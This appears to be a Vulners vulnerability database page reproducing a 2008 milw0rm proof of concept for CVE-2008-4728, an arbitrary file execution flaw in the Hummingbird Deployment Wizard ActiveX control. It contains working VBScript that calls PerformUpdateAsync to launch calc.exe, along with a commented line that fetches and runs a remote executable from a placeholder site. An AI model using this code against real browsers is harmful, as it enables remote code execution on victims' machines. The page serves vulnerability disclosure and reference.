Vulners
Lucene search
Hummingbird Deployment Wizard 2008 - ActiveX File Execution(2)
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2008-4728 | 17 Oct 200800:00 | – | circl |
 | CVE-2008-4728 | 23 Oct 200822:00 | – | cve |
 | CVE-2008-4728 | 23 Oct 200822:00 | – | cvelist |
 | DSquare Exploit Pack: D2SEC_HBDW | 24 Oct 200800:00 | – | d2 |
 | Hummingbird Deployment Wizard 2008 - ActiveX Command Execution | 17 Oct 200800:00 | – | exploitdb |
| Hummingbird Deployment Wizard 2008 - Registry Values Creation/Change | 17 Oct 200800:00 | – | exploitdb |
 | CVE-2008-4728 | 24 Oct 200800:00 | – | nvd |
 | Hummingbird Deployment Wizard ActiveX Control Multiple Security Vulnerabilities | 23 Oct 200800:00 | – | openvas |
| Hummingbird Deployment Wizard ActiveX Control Multiple Security Vulnerabilities | 23 Oct 200800:00 | – | openvas |
 | Design/Logic Flaw | 24 Oct 200800:00 | – | prion |
10
--------------------------------------------------------------------------------
Hummingbird Deployment Wizard 2008 (DeployRun.dll) Arbitrary File Execution(2)
url: http://www.hummingbird.com
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.net
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Info:
DeployRun.dll <= 10.0.0.44
Marked as:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
Vulnerable method:
Sub PerformUpdateAsync (ByVal ExecAfterComplete As String)
Tested on Windows XP Professional SP3 full patched, with Internet Explorer 7
There are a lot of dangerous methods, just take a look and... good searching
--------------------------------------------------------------------------------
<object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test' height='20' width='20'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe
test.PerformUpdateAsync "calc.exe"
'test.PerformUpdateAsync "http://www.SomeSite.com/SomeFile.exe"
End Sub
</script>
# milw0rm.com [2008-10-17]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Oct 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.31628